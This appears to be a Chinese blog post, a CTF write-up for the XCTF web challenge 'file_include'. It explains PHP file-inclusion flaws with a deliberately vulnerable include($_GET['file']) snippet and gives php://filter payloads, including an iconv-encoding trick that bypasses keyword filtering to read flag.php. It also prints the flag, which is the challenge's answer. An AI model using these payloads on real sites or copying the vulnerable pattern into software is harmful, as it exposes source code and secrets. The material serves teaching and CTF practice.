前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【愚公系列】2023年05月 攻防世界-Web(file_include)

【愚公系列】2023年05月 攻防世界-Web(file_include)

作者头像
愚公搬代码
发布2023-05-26 10:43:05
4690
发布2023-05-26 10:43:05
举报
文章被收录于专栏:历史专栏历史专栏

前言

1.文件包含漏洞

文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web应用程序漏洞,攻击者可以通过Web应用程序的漏洞,以某种形式包含恶意文件,或者包含在Web服务器上的其他敏感文件,从而实现权限提升、信息泄露、远程代码执行等攻击。

具体案例介绍包括:

PHP系统中的文件包含漏洞:攻击者可以利用PHP特有的文件包含函数include()或require()来实现代码执行攻击,例如常见的漏洞文件为:

代码语言:javascript
复制
//定义一个变量$file并将其传递给include函数中执行
$file = $_GET['file'];
include($file);

攻击者通过修改传递的$file变量,替换为恶意代码文件,最终实现远程代码执行攻击。

JSP系统中的文件包含漏洞:JSP脚本中包含的内容可以是任何JSP页面、HTML或纯文本。在其中使用<%@ include file=""/%>指令来包含其他JSP文件中的代码。攻击者可以通过修改包含指令中的传递的参数值,来实现包含恶意文件,导致远程代码执行漏洞。

ASP系统中的文件包含漏洞:ASP脚本也存在类似于PHP和JSP的文件包含漏洞,攻击者可以利用Server.Execute()、Include()等函数访问其他文件并引用其中的内容,通过修改参数值来执行恶意代码达到攻击目的。

以上三种常见的文件包含漏洞案例只是冰山一角,现实世界中还存在很多其他的文件包含漏洞,系统管理员需要针对不同情况采取不同措施,保障系统的安全性。

2.php伪协议

php://filter 是一个可以在 PHP 中进行数据过滤和流处理的协议。它可以让你通过一些特定的过滤器来处理各种数据流,包括文件,HTTP 请求,以及其它的输入和输出数据流。这些过滤器可以用于实现各种功能,例如数据加密和解密,数据压缩和解压缩,以及数据格式转换等。不过需要注意的是,如果使用不当,该协议也可能导致一些安全问题。协议的语法:

php://filter/[标准输入输出流标识][使用的过滤器]

其中,[标准输入输出流标识] 可以是以下字符串之一:

  • read: 表示标准输入流(stdin)
  • write: 表示标准输出流(stdout)
  • 其它文件系统可用流标识符,比如 php://temp (临时流)和 php://memory(内存流)等。

而 [使用的过滤器] 部分则是一个或多个 PHP 过滤器名称,多个过滤器名称以 | 分隔。例如:urlencode|strip_tags

例如,如果您想使用 urlencode 过滤器将一段字符串编码并将其写入标准输出流(stdout),您可以使用以下语法:

代码语言:javascript
复制
php://filter/write=urlencode|stdout

php://input 是一个伪协议,它允许开发者从请求体中获取原始的 POST 数据,具体语法为:

代码语言:javascript
复制
php://input

使用时,一般可以按以下步骤实现:

  • 使用 file_get_contents 函数读取 php://input ;
  • 使用 json_decode 函数解析 POST 数据;
  • 使用解析后的数据进行后续操作。

需要注意的是,使用 php://input 时需要确保请求数据采用 POST 方法传输。

在这里插入图片描述
在这里插入图片描述

3.php包含漏洞函数

文件包含漏洞也是一种“注入型漏洞”,其本质就是输入一段用户能够控制的脚本或者代码,并让服务器端执行。

  • require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
  • include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
  • include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
  • require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

一、file_include

1.题目

在这里插入图片描述
在这里插入图片描述

2.答题

代码语言:javascript
复制
?filename=php://filter/read=convert.base64-encode/resource=flag.php
在这里插入图片描述
在这里插入图片描述

发现read,base64,encode等关键字符被过滤了,进行混编

代码语言:javascript
复制
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php

convert.过滤器支持convert.iconv. 格式,使用方法:

代码语言:javascript
复制
convert.iconv.<input-encoding>.<output-encoding>
或
convert.iconv.<input-encoding>/<output-encoding> 

例如:

代码语言:javascript
复制
convert.iconv.UCS-4*.UCS-4BE   --->  将指定的文件从UCS-4*转换为UCS-4BE 输出
在这里插入图片描述
在这里插入图片描述

得到flag:cyberpeace{3a1557a9724bd39b8ccc97dd8435ac97}

总结

php支持的编码格式(部分)

代码语言:javascript
复制
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
SJIS-mac(别名:MacJapanese)
SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
SJIS-Mobile#KDDI(别名:SJIS-KDDI)
SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
UTF-8-Mobile#KDDI-A
UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2023-05-25 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
    • 1.文件包含漏洞
      • 2.php伪协议
        • 3.php包含漏洞函数
        • 一、file_include
          • 1.题目
            • 2.答题
            • 总结
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档